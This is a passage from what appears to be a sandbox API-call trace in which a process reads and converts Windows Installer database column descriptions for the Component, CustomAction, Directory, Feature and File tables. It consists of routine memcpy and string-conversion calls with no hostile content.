setting obtained from the Directory table.") returned 210 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a88, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3570b4, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33ab60, cchWideChar=10 | out: lpWideCharStr="Attributes") returned 10 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a8c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3570be, _Size=0x27 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=39, lpWideCharStr=0x32f860, cchWideChar=39 | out: lpWideCharStr="Remote execution option, one of irsEnum") returned 39 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a90, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3570e5, _Size=0xe8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=232, lpWideCharStr=0x359a70, cchWideChar=232 | out: lpWideCharStr="A conditional statement that will disable this component if the specified condition evaluates to the 'True' state. If a component is disabled, it will not be installed, regardless of the 'Action' state associated with the component.") returned 232 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a94, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3571cd, _Size=0x7 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x338bf0, cchWideChar=7 | out: lpWideCharStr="KeyPath") returned 7 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a98, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3571d4, _Size=0x1c | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=28, lpWideCharStr=0x3391b0, cchWideChar=28 | out: lpWideCharStr="File;Registry;ODBCDataSource") returned 28 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a9c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x3571f0, _Size=0xdc | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] CExposedStream::Read () returned 0x0 [0068.857] memcpy (in: _Dst=0x10cef1c, _Src=0x356ecc, _Size=0x7 | out: _Dst=0x10cef1c) returned 0x10cef1c [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=227, lpWideCharStr=0x359c60, cchWideChar=227 | out: lpWideCharStr="Either the primary key into the File table, Registry table, or ODBCDataSource table. This extract path is stored when the component is installed, and is used to detect the presence of the component and to return the path to it.") returned 227 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356aa0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356ed3, _Size=0xc | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33aba0, cchWideChar=12 | out: lpWideCharStr="CustomAction") returned 12 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356aa4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356edf, _Size=0x53 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=83, lpWideCharStr=0x359e50, cchWideChar=83 | out: lpWideCharStr="Primary key, name of action, normally appears in sequence table unless private use.") returned 83 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356aa8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356f32, _Size=0x5e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=94, lpWideCharStr=0x359f20, cchWideChar=94 | out: lpWideCharStr="The numeric custom action type, consisting of source location, code type, entry, option flags.") returned 94 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356aac, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356f90, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x338c20, cchWideChar=6 | out: lpWideCharStr="Source") returned 6 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356ab0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356f96, _Size=0xc | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33abe0, cchWideChar=12 | out: lpWideCharStr="CustomSource") returned 12 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356ab4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356fa2, _Size=0x2e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=46, lpWideCharStr=0x34a7c0, cchWideChar=46 | out: lpWideCharStr="The table reference of the source of the code.") returned 46 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356ab8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356fd0, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x338c50, cchWideChar=6 | out: lpWideCharStr="Target") returned 6 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356abc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356fd6, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33ac20, cchWideChar=9 | out: lpWideCharStr="Formatted") returned 9 [0068.857] memcpy (in: _Dst=0x10cedb8, _Src=0x356ac0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.857] memcpy (in: _Dst=0x10cee40, _Src=0x356fdf, _Size=0x3a | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=58, lpWideCharStr=0x32b950, cchWideChar=58 | out: lpWideCharStr="Excecution parameter, depends on the type of custom action") returned 58 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ac4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x357019, _Size=0xc | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33ac60, cchWideChar=12 | out: lpWideCharStr="ExtendedType") returned 12 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ac8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x357025, _Size=0x57 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=87, lpWideCharStr=0x35a000, cchWideChar=87 | out: lpWideCharStr="A numeric custom action type that extends code type or option flags of the Type column.") returned 87 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356acc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x35707c, _Size=0x86 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=134, lpWideCharStr=0x35a0d0, cchWideChar=134 | out: lpWideCharStr="Unique identifier for directory entry, primary key. If a property by this name is defined, it contains the full path to the directory.") returned 134 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ad0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x357102, _Size=0x10 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=16, lpWideCharStr=0x33aca0, cchWideChar=16 | out: lpWideCharStr="Directory_Parent") returned 16 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ad4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x357112, _Size=0xa6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=166, lpWideCharStr=0x35a200, cchWideChar=166 | out: lpWideCharStr="Reference to the entry in this table specifying the default parent directory. A record parented to itself or with a Null parent represents a root of the install tree.") returned 166 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ad8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x3571b8, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33ace0, cchWideChar=10 | out: lpWideCharStr="DefaultDir") returned 10 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356adc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x3571c2, _Size=0x29 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=41, lpWideCharStr=0x34a840, cchWideChar=41 | out: lpWideCharStr="The default sub-path under parent's path.") returned 41 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ae0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x3571eb, _Size=0x7 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x338c80, cchWideChar=7 | out: lpWideCharStr="Feature") returned 7 [0068.858] memcpy (in: _Dst=0x10cedb8, _Src=0x356ae4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.858] memcpy (in: _Dst=0x10cee40, _Src=0x3571f2, _Size=0x39 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=57, lpWideCharStr=0x32b9f0, cchWideChar=57 | out: lpWideCharStr="Primary key used to identify a particular feature record.") returned 57 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356ae8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x35722b, _Size=0xe | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33ad20, cchWideChar=14 | out: lpWideCharStr="Feature_Parent") returned 14 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356aec, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x357239, _Size=0x93 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] CExposedStream::Read () returned 0x0 [0068.859] memcpy (in: _Dst=0x10ceed3, _Src=0x356ecc, _Size=0x1 | out: _Dst=0x10ceed3) returned 0x10ceed3 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=148, lpWideCharStr=0x35a370, cchWideChar=148 | out: lpWideCharStr="Optional key of a parent record in the same table. If the parent is not selected, then the record will not be installed. Null indicates a root item.") returned 148 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356af0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356ecd, _Size=0x5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x338cb0, cchWideChar=5 | out: lpWideCharStr="Title") returned 5 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356af4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356ed2, _Size=0x2e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=46, lpWideCharStr=0x34a8c0, cchWideChar=46 | out: lpWideCharStr="Short text identifying a visible feature item.") returned 46 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356af8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356f00, _Size=0x3a | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=58, lpWideCharStr=0x32ba90, cchWideChar=58 | out: lpWideCharStr="Longer descriptive text describing a visible feature item.") returned 58 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356afc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356f3a, _Size=0x7 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x338ce0, cchWideChar=7 | out: lpWideCharStr="Display") returned 7 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356b00, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356f41, _Size=0x3e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=62, lpWideCharStr=0x32bb30, cchWideChar=62 | out: lpWideCharStr="Numeric sort order, used to force a specific display ordering.") returned 62 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356b04, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356f7f, _Size=0x5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x338d10, cchWideChar=5 | out: lpWideCharStr="Level") returned 5 [0068.859] memcpy (in: _Dst=0x10cedb8, _Src=0x356b08, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.859] memcpy (in: _Dst=0x10cee40, _Src=0x356f84, _Size=0x81 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=129, lpWideCharStr=0x35a4c0, cchWideChar=129 | out: lpWideCharStr="The install level at which record will be initially selected. An install level of 0 will disable an item and prevent its display.") returned 129 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b0c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x357005, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33ad60, cchWideChar=9 | out: lpWideCharStr="UpperCase") returned 9 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b10, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x35700e, _Size=0x6b | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=107, lpWideCharStr=0x35a5f0, cchWideChar=107 | out: lpWideCharStr="The name of the Directory that can be configured by the UI. A non-null value will enable the browse button.") returned 107 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b14, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x357079, _Size=0x51 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=81, lpWideCharStr=0x35a6f0, cchWideChar=81 | out: lpWideCharStr="0;1;2;4;5;6;8;9;10;16;17;18;20;21;22;24;25;26;32;33;34;36;37;38;48;49;50;52;53;54") returned 81 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b18, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x3570ca, _Size=0x12 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=18, lpWideCharStr=0x2fa860, cchWideChar=18 | out: lpWideCharStr="Feature attributes") returned 18 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b1c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x3570dc, _Size=0x11 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x2fa8b0, cchWideChar=17 | out: lpWideCharStr="FeatureComponents") returned 17 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b20, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x3570ed, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338d40, cchWideChar=8 | out: lpWideCharStr="Feature_") returned 8 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b24, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x3570f5, _Size=0x1f | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=31, lpWideCharStr=0x339210, cchWideChar=31 | out: lpWideCharStr="Foreign key into Feature table.") returned 31 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b28, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x357114, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33ada0, cchWideChar=10 | out: lpWideCharStr="Component_") returned 10 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b2c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x35711e, _Size=0x21 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=33, lpWideCharStr=0x32f8d0, cchWideChar=33 | out: lpWideCharStr="Foreign key into Component table.") returned 33 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b30, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x35713f, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338d70, cchWideChar=4 | out: lpWideCharStr="File") returned 4 [0068.860] memcpy (in: _Dst=0x10cedb8, _Src=0x356b34, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.860] memcpy (in: _Dst=0x10cee40, _Src=0x357143, _Size=0x73 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=115, lpWideCharStr=0x35a7c0, cchWideChar=115 | out: lpWideCharStr="Primary key, non-localized token, must match identifier in cabinet. For uncompressed files, this field is ignored.") returned 115 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b38, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x3571b6, _Size=0x39 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=57, lpWideCharStr=0x32bbd0, cchWideChar=57 | out: lpWideCharStr="Foreign key referencing Component that controls the file.") returned 57 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b3c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x3571ef, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338da0, cchWideChar=8 | out: lpWideCharStr="FileName") returned 8 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b40, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x3571f7, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338dd0, cchWideChar=8 | out: lpWideCharStr="Filename") returned 8 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b44, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x3571ff, _Size=0x63 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=99, lpWideCharStr=0x2fcd10, cchWideChar=99 | out: lpWideCharStr="File name used for installation, may be localized. This may contain a \"short name|long name\" pair.") returned 99 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b48, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x357262, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338e00, cchWideChar=8 | out: lpWideCharStr="FileSize") returned 8 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b4c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x35726a, _Size=0x25 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=37, lpWideCharStr=0x32f940, cchWideChar=37 | out: lpWideCharStr="Size of file in bytes (long integer).") returned 37 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b50, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x35728f, _Size=0x7 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x338e30, cchWideChar=7 | out: lpWideCharStr="Version") returned 7 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b54, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x357296, _Size=0x36 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.861] CExposedStream::Read () returned 0x0 [0068.861] memcpy (in: _Dst=0x10cee76, _Src=0x356ecc, _Size=0xb | out: _Dst=0x10cee76) returned 0x10cee76 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=65, lpWideCharStr=0x35a8d0, cchWideChar=65 | out: lpWideCharStr="Version string for versioned files; Blank for unversioned files.") returned 65 [0068.861] memcpy (in: _Dst=0x10cedb8, _Src=0x356b58, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.861] memcpy (in: _Dst=0x10cee40, _Src=0x356ed7, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x35a9b0, cchWideChar=8 | out: lpWideCharStr="Language") returned 8 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b5c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x356edf, _Size=0x3f | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=63, lpWideCharStr=0x32bc70, cchWideChar=63 | out: lpWideCharStr="List of decimal language Ids, comma-separated if more than one.") returned 63 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b60, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x356f1e, _Size=0x76 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=118, lpWideCharStr=0x35b180, cchWideChar=118 | out: lpWideCharStr="Integer containing bit flags representing file attributes (with the decimal value of each bit position in parentheses)") returned 118 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b64, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x356f94, _Size=0x4a | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=74, lpWideCharStr=0x35b290, cchWideChar=74 | 